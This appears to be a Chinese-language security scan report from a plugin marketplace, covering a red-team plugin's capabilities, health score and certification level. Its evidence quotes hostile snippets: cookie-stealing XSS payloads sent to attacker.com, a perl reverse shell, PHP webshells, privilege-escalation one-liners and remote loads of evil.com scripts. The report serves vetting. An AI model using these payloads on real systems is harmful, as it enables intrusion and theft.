浏览全部

模型与账号 · v1.1.1

dsh-redteam-model

github.com/seaof0/dsh-redteam-model

能力以提权方式执行可执行外部程序以 shell 执行命令

DSH redteam security research modes and runtime plugins, managed from one settings page: deploy the nine presets, install, update and uninstall the seventeen runtime plugins for the current profile.

该插件尚未翻译,显示作者原文。

deepseekdeepseek-harnessdshdsh-plugindsh-bundleredteamsecurity
仅 GitHub
认证 L1已扫描 ✓健康 D/68星 —
21 项能力
许可
MIT

安装命令

dsh plugin --profile web add git+https://github.com/seaof0/dsh-redteam-model

实测:这条命令在隔离环境里没装上(安装失败)。安装前先看这个仓库的构建要求。

检测报告

关注度高。命中了不少能力模式,其中可能有需要留意的。逐条看下面的清单。
6高关注9需留意6一般3未命中
高关注需留意一般

能力清单

  • 以提权方式执行privilege-escalation高关注57 处命中
    • …i_mcp/core/deep_attack_engine.py:165"sudo find . -exec /bin/sh \\; -quit",
    • …i_mcp/core/deep_attack_engine.py:225"/usr/bin/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'",
    • …fs/defense/ir-forensics-linux.md:173ausearch -f /etc/passwd -f /etc/shadow -f /etc/sudoers -ts today
    • …fs/defense/ir-forensics-linux.md:359-w /etc/sudoers -p wa -k privilege
    • 确认提权是插件功能本身需要,还是仅仅在探测环境。多数插件不需要 root。
  • 可执行外部程序spawns-processes高关注56 处命中
    • deploy/check-sources.mjs:28import { spawn } from "node:child_process";
    • deploy/deploy.mjs:22import { spawnSync, spawn } from "node:child_process";
    • lib/index.js:46import { spawn } from "node:child_process";
    • …/offensive/evasion-techniques.md:342echo "require('child_process').exec('id > /tmp/pwned')" >> /tmp/app_extracted/src/main.js
    • 看它调用哪些程序。调用本机已有的工具是常见做法。
  • 以 shell 执行命令shell-exec高关注41 处命中
    • …/core/enhanced_knowledge_base.py:409{"payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}…
    • deploy/deploy.mjs:63? spawnSync(cmd.join(" "), args, { shell: true, stdio: "inherit", ...opts })
    • deploy/deploy.mjs:249? spawn("npx -y @deepseek-ai/dsh web", { shell: true, detached: true, stdio: ["ignore", out, out] })
    • …fs/lang/code-audit-javascript.md:143grep -rn 'exec(\|execSync(\|spawn(.*shell:\s*true\|eval(\|new Function(' --include='*.js' --include='*.ts' . | grep -v '…
    • 看命令字符串是拼出来的还是写死的。拼接用户输入才是真正的风险。
  • 访问原生绑定native-access高关注24 处命中
    • …/core/enhanced_knowledge_base.py:224{"payload": "{{constructor.constructor('alert(1)')()}}", "desc": "Angular模板", "context": "angular"},
    • …/core/enhanced_knowledge_base.py:409{"payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}…
    • …ang/javascript-sink-reference.md:106- `vm.runInContext/runInNewContext(`(沙箱逃逸——`this.constructor.constructor` 链已知)
    • …lver/refs/ctf-web/client-side.md:383{{constructor.constructor('return window.location="http://attacker.com/"+document.cookie')()}}
    • 访问原生绑定或走 constructor 链,等于绕开 JS 层的一切限制。确认这是插件的核心机制,而不是顺手拿到的便利。
  • 向其他插件注入plugin-tree-injection高关注7 处命中
    • @dsh-external/dsh-redteam-model, @dsh-external/dsh-scanner-tools, @dsh-external/dsh-semgrep-audit
    • 看 patch 里 insert 的包是不是本项目自己的。插入第三方代码要格外留意。
  • 从远程加载可执行代码remote-code-load高关注3 处命中
    • …/prototype-pollution-advanced.md:151Object.prototype.src = 'https://attacker.com/evil.js';
    • …eb/web-csrf-cors-clickjacking.md:333s.src = 'https://attacker.com/evil.js';
    • …st/refs/web/web-injection-xss.md:667var blob = new Blob(['importScripts("https://evil.com/evil.js")'], {type: 'text/javascript'});
    • 看这些 URL 指向谁、内容是否会变。远程加载等于把执行权交给外部。
  • 写入文件writes-files需留意465 处命中
    • …p-server/kali_mcp/ai/learning.py:72self.data_dir.mkdir(parents=True, exist_ok=True)
    • …p-server/kali_mcp/ai/learning.py:408history_file.unlink()
    • …/kali_mcp/core/browser_engine.py:647self._storage_dir.mkdir(parents=True, exist_ok=True)
    • …/kali_mcp/core/browser_engine.py:1203Path(self._storage_dir).mkdir(parents=True, exist_ok=True)
    • 看写入位置。写自己的配置目录是正常的,写系统目录不是。
  • 动态执行代码dynamic-code需留意371 处命中
    • …pecialized/code_analyze_agent.py:59(r'eval\s*\(', "eval()调用"),
    • …/specialized/code_audit_agent.py:41(r'eval\s*\(', 'eval() 调用 - 可能导致代码注入'),
    • …/core/enhanced_knowledge_base.py:200{"payload": "<script>eval(atob('YWxlcnQoMSk='))</script>", "desc": "Base64解码", "bypass": "base64"},
    • …/core/enhanced_knowledge_base.py:207{"payload": "<script>eval('al'+'ert(1)')</script>", "desc": "字符串拼接", "bypass": "concat"},
    • 看 eval / new Function 的入参来自哪里。常量字符串和用户输入是两回事。
  • 发起网络请求network需留意262 处命中
    • …i_mcp/core/ctf_knowledge_base.py:334'<script>fetch("http://attacker.com/?c="+document.cookie)</script>',
    • …r/kali_mcp/diggers/xss_digger.py:65"<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>",
    • …r/kali_mcp/diggers/xss_digger.py:68"<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
    • …r/kali_mcp/diggers/xss_digger.py:73"<script>setInterval(function(){fetch('http://attacker.com/beacon?c='+document.cookie+'&d='+document.domain)},5000)</scr…
    • 看请求发往哪些域名。发往作者自己的后端是常见做法。
  • 含混淆或编码代码obfuscated-code需留意177 处命中
    • …cp/diggers/file_upload_digger.py:88"\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>",
    • …cp/diggers/file_upload_digger.py:137"gif": "GIF89a\x01\x00\x01\x00<<?php system($_GET['cmd']); ?>",
    • …cp/diggers/file_upload_digger.py:139"jpg": "\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>",
    • …e/refs/ai/ai-prompt-injection.md:271invisible = len(re.findall(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]", user_input))
    • 混淆本身不是恶意,但公开源码里出现大段混淆值得问一句为什么。
  • 启动伪终端spawns-pty需留意160 处命中
    • …gers/command_injection_digger.py:574f"perl -e 'use Socket;$i=\"{local_ip}\";$p={local_port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect…
    • …cp/diggers/file_upload_digger.py:57"<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>",
    • lib/index.js:563return spawn(process.env.ComSpec ?? "cmd.exe", ["/d", "/s", "/c", `"${commandLine}"`], {
    • …fs/offensive/lateral-movement.md:692# $excel.ExecuteExcel4Macro("EXEC(""cmd /c whoami"")")
    • 伪终端等于给了一个完整 shell。确认这是插件的核心功能。
  • 硬编码外部上报地址hardcoded-endpoint需留意17 处命中
    • …s/defense/dark-web-monitoring.md:108"pastebin": "https://pastebin.com",
    • …s/defense/dark-web-monitoring.md:109"ghostbin": "https://ghostbin.com",
    • …s/defense/dark-web-monitoring.md:200resp = requests.get("https://pastebin.com/archive", timeout=15)
    • …s/defense/dark-web-monitoring.md:208f"https://pastebin.com/raw/{pid}", timeout=10)
    • 确认这个地址属于插件作者,且不是临时或匿名托管。
  • 运行时改写自身配置modifies-own-manifest需留意6 处命中
    • tests/manager.test.mjs:199writeFileSync(path.join(installed, 'package.json'), '{"version":"1.0.0"}\n', 'utf8')
    • tests/manager.test.mjs:258writeFileSync(path.join(fixture.root, 'package.json'), `${JSON.stringify({ name: '@dsh-external/dsh-redteam-model', vers…
    • tests/manager.test.mjs:288writeFileSync(path.join(fixture.root, 'package.json'), `${JSON.stringify({ name: '@dsh-external/dsh-redteam-model', vers…
    • tests/manager.test.mjs:431writeFileSync(path.join(installed, 'package.json'), '{"version":"1.0.0"}\n', 'utf8')
    • 运行时改写自身配置会让下次启动的行为和你看过的源码不一致。
  • 可终止进程kills-processes需留意1 处命中
    • …server/kali_mcp/core/executor.py:190process.kill()
    • 看它终止的是自己启动的进程,还是按名字匹配到的任意进程。
  • 客户端可疑脚本client-side-risk需留意1 处命中
    • client-side-advanced.md: innerHTML + postMessage
    • 浏览器侧代码能改你看到的界面。确认改动范围符合插件用途。
  • 读取文件reads-files一般357 处命中
    • deploy/check-sources.mjs:20for (const e of readdirSync(dir)) {
    • deploy/check-sources.mjs:22if (statSync(p).isDirectory()) walk(p, out);
    • deploy/check-sources.mjs:48for (const mode of readdirSync(MODES)) {
    • deploy/check-sources.mjs:54const text = readFileSync(f, "utf8");
    • 读文件是绝大多数插件的正常工作方式,本身不构成顾虑。
  • 接触凭据或密钥credentials一般269 处命中
    • …ts/exploitation/lateral_agent.py:213"password": password
    • …ts/exploitation/lateral_agent.py:227"password": password
    • …i_mcp/core/deep_attack_engine.py:820"credential": credential,
    • …erver/kali_mcp/core/llm_brain.py:197self.api_key = (
    • 看它读取哪些凭据、发往哪里。用于登录自己的服务是正常的。
  • 文中出现远程脚本地址remote-url-reference一般180 处命中
    • …r/kali_mcp/diggers/xss_digger.py:56"<script src='http://attacker.com/payload.js'></script>",
    • …laybook/scripts/s3_subdomains.py:18out = curl_get(f'https://crt.sh/?q=%.{domain}&output=json', timeout=60, proxy=proxy)
    • …s/defense/dark-web-monitoring.md:240f"https://crt.sh/?q=%.{domain}&output=json",
    • …e/refs/defense/ioc-management.md:482f"https://crt.sh/?q=%.{domain}&output=json",
    • 只是文本里出现了远程脚本地址,没有看到加载它的调用。多半是文档或注释;若确实可疑,搜一下这个地址在包里的其他出现位置。
  • 动态加载模块dynamic-import一般178 处命中
    • …-mcp-server/kali_mcp/__init__.py:12# Legacy core modules — soft import (these exist but are NOT the primary path;
    • …-mcp-server/kali_mcp/__init__.py:35from .tools import (
    • …-mcp-server/kali_mcp/__init__.py:51from .core import (
    • …rver/kali_mcp/agents/__init__.py:14from kali_mcp.agents.base_agent_v2 import (
    • 动态导入本身无害,但会让依赖关系难以静态审阅。
  • 读取环境变量reads-env一般113 处命中
    • deploy/deploy.mjs:31const DSH_HOME = process.env.DSH_HOME ?? path.join(os.homedir(), ".dsh");
    • deploy/verify-deployment.mjs:18const DSH_HOME = process.env.DSH_HOME ?? path.join(os.homedir(), ".dsh");
    • lib/index.js:135const configured = process.env.DSH_HOME?.trim();
    • lib/index.js:563return spawn(process.env.ComSpec ?? "cmd.exe", ["/d", "/s", "/c", `"${commandLine}"`], {
    • 环境变量里常混有密钥。看它是否把整个 env 都读走。
  • 使用 vm 模块做隔离uses-vm-module一般4 处命中
    • …y/vm-runincontext-injection.yaml:50require('vm');
    • …curity/express-vm-injection.yaml:61$VM = require('vm');
    • tests/client-manager.test.mjs:4import vm from 'node:vm'
    • …nversation-view-clients.test.mjs:4import vm from 'node:vm'
    • 用 node:vm 是在建立隔离,不是在突破它。本身不是顾虑,但值得知道这个插件会执行动态代码。
逐条扫描明细
能力标识关注度命中次数
以提权方式执行privilege-escalation高关注57
可执行外部程序spawns-processes高关注56
以 shell 执行命令shell-exec高关注41
访问原生绑定native-access高关注24
向其他插件注入plugin-tree-injection高关注7
从远程加载可执行代码remote-code-load高关注3
写入文件writes-files需留意465
动态执行代码dynamic-code需留意371
发起网络请求network需留意262
含混淆或编码代码obfuscated-code需留意177
启动伪终端spawns-pty需留意160
硬编码外部上报地址hardcoded-endpoint需留意17
运行时改写自身配置modifies-own-manifest需留意6
可终止进程kills-processes需留意1
客户端可疑脚本client-side-risk需留意1
读取文件reads-files一般357
接触凭据或密钥credentials一般269
文中出现远程脚本地址remote-url-reference一般180
动态加载模块dynamic-import一般178
读取环境变量reads-env一般113
使用 vm 模块做隔离uses-vm-module一般4

这份报告的口径

扫描读的是包里的源码,全程不执行第三方代码。 本次读了 2627 个文件,扫描于 2026-10-22。 命中次数只说明源码里出现过这类调用,不说明行为好坏——一个插件读写文件 500 次和 1 次 都会被记为「读取文件」。这是能力清单,不是信任评分,也不是安全结论: 没扫出来的能力可能只是写法没被规则覆盖。

可信度

这个插件只在 GitHub 上发布,没有走过 npm 的分发链路。下面的梯子按 GitHub 通道的证据计算:补丁审计、钉在 commit 上的源码快照、隔离试装;L2 的「宿主启动」这一层还没有对 git 通道跑过,所以等级停在 L1。

68 健康分 D 扣分项下方逐条附证据
  • -20隔离环境装不上fail:gin command failed; diagnostics: C:\Users\A01\AppData\Local\Temp\dsh-l2-home-w1\profiles\l2probe\.plugin-manager\logs\operation-FfhFnu\pnpm.log dsh: git-hosted
  • -10声明与实物不符:client-present-undeclaredmajor:['lib/client.js', 'lib/client.js.map', 'modes/av-evasion/lab/10-webshell-managers/client-side/NOTES.md', 'modes/binary-analysis/refs/windows
  • -2没有 READMEminor

认证等级 L1

  • L0静态结构与契约✓源码快照钉在 commit 85516202,补丁与入口齐备,另有 1 项声明不一致(计入健康扣分)
  • L1配置组合与依赖图✓跨包无 entry id 冲突,插入模块可解析,目录内 peer 满足
  • L2隔离沙箱冒烟—试装未通过(install-failed)
  • L3运行时健康监控—未抽样(本层是抽样检测:没有会话不等于干净)
评分口径与作者信息

从 100 分开始按规则扣减:fail −20 / major −10 / warn −5 / minor −2;star 数、下载量、LLM 输出都不参与评分

维护者
—
仓库
https://github.com/seaof0/dsh-redteam-model
许可
MIT
最后发布
—
周下载
—
star
—

扫描状态:已扫描。能力是事实,不是缺陷; 周下载与 star 只作参考,不参与评分。

认证等级只回答四件事:包本身是否完整可解析(L0)、能不能与别的插件组合(L1)、隔离环境里装不装得上并起得来(L2)、抽样运行时有没有异常(L3)。依赖漏洞、仓库存活、下载量都不参与评级,只作为独立信号标注。可信 ≠ 无漏洞,上架 ≠ 推荐。

DSH peer 依赖1 个dsh-settings均为 @deepseek-ai/ 下的包
Node 要求>=22
第三方依赖0 个(纯自包含)
依赖安全公告已查询全部依赖,没有匹配到已公开的安全公告(含 DSH 框架包在内的 @deepseek-ai/* 不作查询——那是运行时自己的问题,不是插件的。)

返回首页